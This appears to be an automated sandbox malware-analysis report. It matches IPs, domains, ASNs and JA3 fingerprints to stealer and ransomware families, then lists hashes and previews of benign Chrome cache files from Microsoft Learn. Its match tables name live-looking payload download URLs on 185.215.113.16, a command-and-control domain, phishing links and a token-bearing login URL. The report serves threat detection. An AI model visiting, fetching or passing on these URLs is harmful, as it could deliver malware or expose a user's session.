	https://pib.login-uk.mimecast.com/u/login/?gta=secure&tkn=3.NC0QDc8Wcx0dHYIyK87aHx-6EOCiyG0Ksn5KcwbjKTBX0aWXz_pzSxGNasCXm0IvpIy6CFFQvQyXFXm7InF3zIueswFC_GPgsliIBZrOHFx--kjuP6hbmebwSKGhqZpX.EzM5YqGuvKf-M-m1D6Kp1Q#/change-password/IVoqqJ6PETXLx5ML9Tojj40C5CNhzMmc56xAK6aopPIIVkr_FpvggkqGZT9jZhzNRNzZnBC0FBFYpZ_ZeaW9u3xoKEnXd74qgZ09wVf-ih5sQlp_JK2KbVZ2bIzCnJ_PgBKMn4FKWik_kEEHerQwBEmxCta_xDAcNwP3U9L5w0JXE41fUT_xtnIsBQVbgUGpgC9dQuMmbk7bgBNC-Y0P9KydDFdsQU-AyTVGS1gscgcKiFrw7--s1-72XJ9F0NowHMkBZk_APYXQbA3MY_sV7A	Get hash	malicious	Unknown	Browse
	ACH-information-Ag.pdf.html	Get hash	malicious	HTMLPhisher	Browse
185.215.113.16	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
104.21.66.38	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	EXTERNAL Past Due Reminder March 15 2023.msg	Get hash	malicious	HTMLPhisher	Browse
	12218d47_by_Libranalysis.xlsm	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cook-rain.sbs	file.exe	Get hash	malicious	LummaC	Browse	172.67.155.248
	file.exe	Get hash	malicious	LummaC	Browse	172.67.155.248
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.66.38
	file.exe	Get hash	malicious	LummaC	Browse	172.67.155.248
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
s-part-0035.t-0009.t-msedge.net	https://app.scalenut.com/creator/991c897c-dcc2-43e6-ba55-339c0f6812c2/kj8jd9r9do	Get hash	malicious	Unknown	Browse	13.107.246.63
	grass.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	https://vendor.ziphq.com/magic-link/b47e3e5c-c77a-4377-b922-4ceee97070f7	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.63
	PO 2725724312_pdf.vbs	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	ACH-information-Ag.pdf.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	797F2AEA-982C-4B8E-84F4-E90FD6A89D27.1_originalmail.eml	Get hash	malicious	Unknown	Browse	13.107.246.63
	prepper-wu.ps1	Get hash	malicious	Unknown	Browse	13.107.246.63
	https://1.midlifemouse.com/m/?c3Y9bzM2NV8xX25vbSZyYW5kPVFXRTNlSFU9JnVpZD1VU0VSMTIxMTIwMjRVNTUxMTEyMjQ=N0123Nexample@email.com	Get hash	malicious	Unknown	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://app.scalenut.com/creator/991c897c-dcc2-43e6-ba55-339c0f6812c2/kj8jd9r9do	Get hash	malicious	Unknown	Browse	104.16.123.96
	LxvS6uMf0g.exe	Get hash	malicious	Acrid Stealer	Browse	104.21.68.220
	https://vendor.ziphq.com/magic-link/b47e3e5c-c77a-4377-b922-4ceee97070f7	Get hash	malicious	Unknown	Browse	172.66.43.192
	http://grastoonm3vides.com	Get hash	malicious	Unknown	Browse	104.21.57.169
	DOC_114542366.vbe	Get hash	malicious	FormBook	Browse	172.67.220.36
	NEW PURCHASE ORDER DRAWINGSSPECS 5655-2024.vbe	Get hash	malicious	FormBook	Browse	104.21.40.167
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	PO 2725724312_pdf.vbs	Get hash	malicious	Unknown	Browse	172.67.187.200
	file.exe	Get hash	malicious	LummaC	Browse	172.67.155.248
	ACH-information-Ag.pdf.html	Get hash	malicious	HTMLPhisher	Browse	172.66.47.118
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://app.scalenut.com/creator/991c897c-dcc2-43e6-ba55-339c0f6812c2/kj8jd9r9do	Get hash	malicious	Unknown	Browse	150.171.27.10
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.44.10.122
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	ACH-information-Ag.pdf.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.62
	797F2AEA-982C-4B8E-84F4-E90FD6A89D27.1_originalmail.eml	Get hash	malicious	Unknown	Browse	13.107.246.63
	797F2AEA-982C-4B8E-84F4-E90FD6A89D27.1_originalmail.eml	Get hash	malicious	Unknown	Browse	52.109.28.47
	prepper-wu.ps1	Get hash	malicious	Unknown	Browse	13.107.246.63
	Isabella County Emergency Management-protected.pdf	Get hash	malicious	HTMLPhisher	Browse	13.107.246.62
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.62
	https://shadowline-hub-uk-limited.jimdosite.com/	Get hash	malicious	HTMLPhisher	Browse	20.76.201.171
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://app.scalenut.com/creator/991c897c-dcc2-43e6-ba55-339c0f6812c2/kj8jd9r9do	Get hash	malicious	Unknown	Browse	13.107.246.63 20.12.23.50 2.18.84.141
	http://robnzuwubz.top/1.php?s=527	Get hash	malicious	Unknown	Browse	13.107.246.63 20.12.23.50 2.18.84.141
	https://vendor.ziphq.com/magic-link/b47e3e5c-c77a-4377-b922-4ceee97070f7	Get hash	malicious	Unknown	Browse	13.107.246.63 20.12.23.50 2.18.84.141
	https://amstoree.z13.web.core.windows.net	Get hash	malicious	Unknown	Browse	13.107.246.63 20.12.23.50 2.18.84.141
	http://grastoonm3vides.com	Get hash	malicious	Unknown	Browse	13.107.246.63 20.12.23.50 2.18.84.141
	http://robnzuwubz.top/1.php?s=527	Get hash	malicious	Unknown	Browse	13.107.246.63 20.12.23.50 2.18.84.141
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.63 20.12.23.50 2.18.84.141
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63 20.12.23.50 2.18.84.141
	https://pib.login-uk.mimecast.com/u/login/?gta=secure&tkn=3.NC0QDc8Wcx0dHYIyK87aHx-6EOCiyG0Ksn5KcwbjKTBX0aWXz_pzSxGNasCXm0IvpIy6CFFQvQyXFXm7InF3zIueswFC_GPgsliIBZrOHFx--kjuP6hbmebwSKGhqZpX.EzM5YqGuvKf-M-m1D6Kp1Q#/change-password/IVoqqJ6PETXLx5ML9Tojj40C5CNhzMmc56xAK6aopPIIVkr_FpvggkqGZT9jZhzNRNzZnBC0FBFYpZ_ZeaW9u3xoKEnXd74qgZ09wVf-ih5sQlp_JK2KbVZ2bIzCnJ_PgBKMn4FKWik_kEEHerQwBEmxCta_xDAcNwP3U9L5w0JXE41fUT_xtnIsBQVbgUGpgC9dQuMmbk7bgBNC-Y0P9KydDFdsQU-AyTVGS1gscgcKiFrw7--s1-72XJ9F0NowHMkBZk_APYXQbA3MY_sV7A	Get hash	malicious	Unknown	Browse	13.107.246.63 20.12.23.50 2.18.84.141
	ACH-information-Ag.pdf.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63 20.12.23.50 2.18.84.141
a0e9f5d64349fb13191bc781f81f42e1	LxvS6uMf0g.exe	Get hash	malicious	Acrid Stealer	Browse	104.21.66.38
	PO 2725724312_pdf.vbs	Get hash	malicious	Unknown	Browse	104.21.66.38
	file.exe	Get hash	malicious	LummaC	Browse	104.21.66.38
	file.exe	Get hash	malicious	LummaC	Browse	104.21.66.38
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.66.38
	file.exe	Get hash	malicious	LummaC	Browse	104.21.66.38
	file.exe	Get hash	malicious	LummaC	Browse	104.21.66.38
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.66.38
	file.exe	Get hash	malicious	LummaC	Browse	104.21.66.38
	jokLq9gHyc.exe	Get hash	malicious	INC Ransomware	Browse	104.21.66.38

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	downloaded
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-ignite-2024.jpg
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
